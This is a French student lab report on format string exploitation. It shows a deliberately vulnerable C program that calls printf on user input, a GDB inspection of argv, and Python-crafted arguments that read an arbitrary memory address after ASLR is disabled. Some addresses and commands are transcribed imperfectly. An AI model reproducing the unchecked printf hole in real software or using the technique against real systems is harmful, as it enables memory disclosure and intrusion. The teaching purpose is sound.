

Sécurité applicative

Laboratoire 2.5

Sécurité Applicative

Laboratoire 2.5 (Autonomie)

Adrien Voisin, Bastien Bodart

IR313 - Henallux 2021-2022

1 Exploit Format String

1.1 Programme vulnérable

Écrivez un programme C qui prendra deux arguments : le premier sera copié dans un buffer préalablement déclaré, sans rien en faire, et le deuxième sera affiché à la console.

Prérequis :

```
(root@host)-[/home/user/Documents/Labo 2.5]
$ echo 0 > /proc/sys/kernel/randomize_va_space
```

Programme (non vulnérable --> « %s ») :

```
#include <stdio.h>
#include <string.h>

#define TAILLE 20

int main(int argc, char * argv[])
{
    char buffer[TAILLE];
    strcpy(buffer, argv[1]);
    printf("\nHello %s", argv[2]);
    //printf("\nbuffer : %s", buffer); //test
}
```

Résultat du programme :

```
(user@host)-[~/Documents/Labo 2.5]
$ ./prog pomme poire

Hello poire
```

Je compile en mode debug : -g

```
(user@host)-[~/Documents/Labo 2.5]
$ gcc -g -o prog 1-copy.c
```

Examinez ce programme avec GDB et vérifiez la présence en mémoire de vos arguments lors de l'exécution. Autrement dit, trouvez les adresses des arguments et affichez leurs valeurs.

gdb prog

```
(gdb) break main
Breakpoint 1 at 0x1154: file 1-copy.c, line 9.
(gdb) █
```

```
(gdb) run $(python -c 'print "A" * 16') $(python -c 'print "B" * 16')
Starting program: /home/user/Documents/Labo 2.5/prog $(python -c 'print "A" * 16') $(python -c 'print "B" * 16')

Breakpoint 1, main (argc=3, argv=0x7fffffff068) at 1-copy.c:9
9      strcpy(buffer, argv[1]);
(gdb) █
```

Une première info intéressante obtenue grâce à l'option de debug -g est l'adresse d'argv. Pour rappel, argv est un **tableau de pointeurs** contenant les arguments de mon programme.

info frame

```
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf80:
 rip = 0x55555555154 in main (1-copy.c:9); saved rip = 0x7ffff7e16d0a
 source language c.
 Arglist at 0x7fffffffdf70, args: argc=3, argv=0x7fffffff068
 Locals at 0x7fffffffdf70, Previous frame's sp is 0x7fffffffdf80
 Saved registers:
  rbp at 0x7fffffffdf70, rip at 0x7fffffffdf78
(gdb) █
```

Je peux également observer la stack au niveau de cette adresse : je peux retrouver mes 3 arguments (nom du programme, les 16 A et les 16 B)

```
(gdb) x/xg 0x7fffffff068
0x7fffffff068: 0x00007fffffff3a6
(gdb) x/40xg 0x00007fffffff3a6
0x7fffffff3a6: 0x73752f656d6f682f      0x6d75636f442f7265
0x7fffffff3b6: 0x62614c2f73746e65      0x72702f352e32206f
0x7fffffff3c6: 0x414141414100676f      0x4141414141414141
0x7fffffff3d6: 0x4242424200414141      0x4242424242424242
0x7fffffff3e6: 0x4c4f430042424242      0x313d47424746524f
0x7fffffff3f6: 0x4f4c4f4300303b35      0x72743d4d52455452
0x7fffffff406: 0x00726f6c6f636575      0x5f444e414d4d4f43
0x7fffffff416: 0x4e554f465f544f4e      0x4c4154534e495f44
0x7fffffff426: 0x54504d4f52505f4c      0x5f5355424400313d
0x7fffffff436: 0x5f4e4f4953534553      0x524444415f535542
0x7fffffff446: 0x78696e753d535345      0x722f3d687461703a
0x7fffffff456: 0x2f726573752f6e75      0x7375622f30303031
0x7fffffff466: 0x504f544b53454400      0x4e4f49535345535f
0x7fffffff476: 0x494400656366783d      0x303a3d59414c5053
0x7fffffff486: 0x454e544f4400302e      0x45545f494c435f54
0x7fffffff496: 0x5f595254454d454c      0x313d54554f54504f
0x7fffffff4a6: 0x535345534d444700      0x656366783d4e4f49
0x7fffffff4b6: 0x4e414c5f4d444700      0x2e53555f6e653d47
0x7fffffff4c6: 0x4d4f480038667475      0x2f656d6f682f3d45
0x7fffffff4d6: 0x4e414c0072657375      0x2e53555f6e653d47
(gdb) █
```


Code non vulnérable :

```
$ cat 1-copy.c
#include <stdio.h>
#include <string.h>

#define TAILLE 20

int main(int argc, char * argv[])
{
    char buffer[TAILLE];
    strcpy(buffer, argv[1]);
    printf("\nHello %s", argv[2]);
    //printf("\nbuffer : %s", buffer); //test
}
```

1.3 Accès à un emplacement mémoire arbitraire

Exploitez aussi cette faille pour afficher un emplacement mémoire en particulier, en lançant votre programme avec trois arguments.

Le but est d'afficher ce troisième argument en accédant directement à son adresse, que vous aurez placée dans le buffer, avec le format %s. Il faut pour ce faire calculer correctement le padding nécessaire pour arriver au buffer.

Sur le programme ci-dessous, il va être facile d'exploiter la vulnérabilité pour afficher cet argument. Et ce, grâce à l'affichage de l'adresse de mon 3^{ème} argument.

```
GNU nano 5.4
#include <stdio.h>
#include <string.h>

#define TAILLE 20

int main(int argc, char * argv[])
{
    printf("%p", argv[3]); //Pour avoir plus simple
    char buffer[TAILLE];
    strcpy(buffer, argv[1]);
    printf(argv[2]);
}
```

On lance un test pour récupérer l'adresse :

```
(user@host)-[~/Documents/Labo 2.5]
$ ./prog2 secret secret secret
0x7fffffff411secret

(user@host)-[~/Documents/Labo 2.5]
$ ./prog2 $(python -c 'print "\x7f\xff\xff\xff\xe4\x11" [::-1]') $(python -c 'print "%08x" * 5 + "%s"' secret
0x7fffffff411ffffe3f300000006007fffff000000000000000e
```

Et après un certain temps de recherche, on retrouve enfin notre dernier argument grâce à son adresse.

```
(user@host)-[~/Documents/Labo 2.5]
$ ./prog2 $(python -c 'print "\x7f\xff\xff\xff\xe4\x11" [::-1]') $(python -c 'print "%08x" * 7 + "%s"' secret
0x7fffffff411ffffe3eb00000006007fffff000000000000000effffe0a80000000secret
```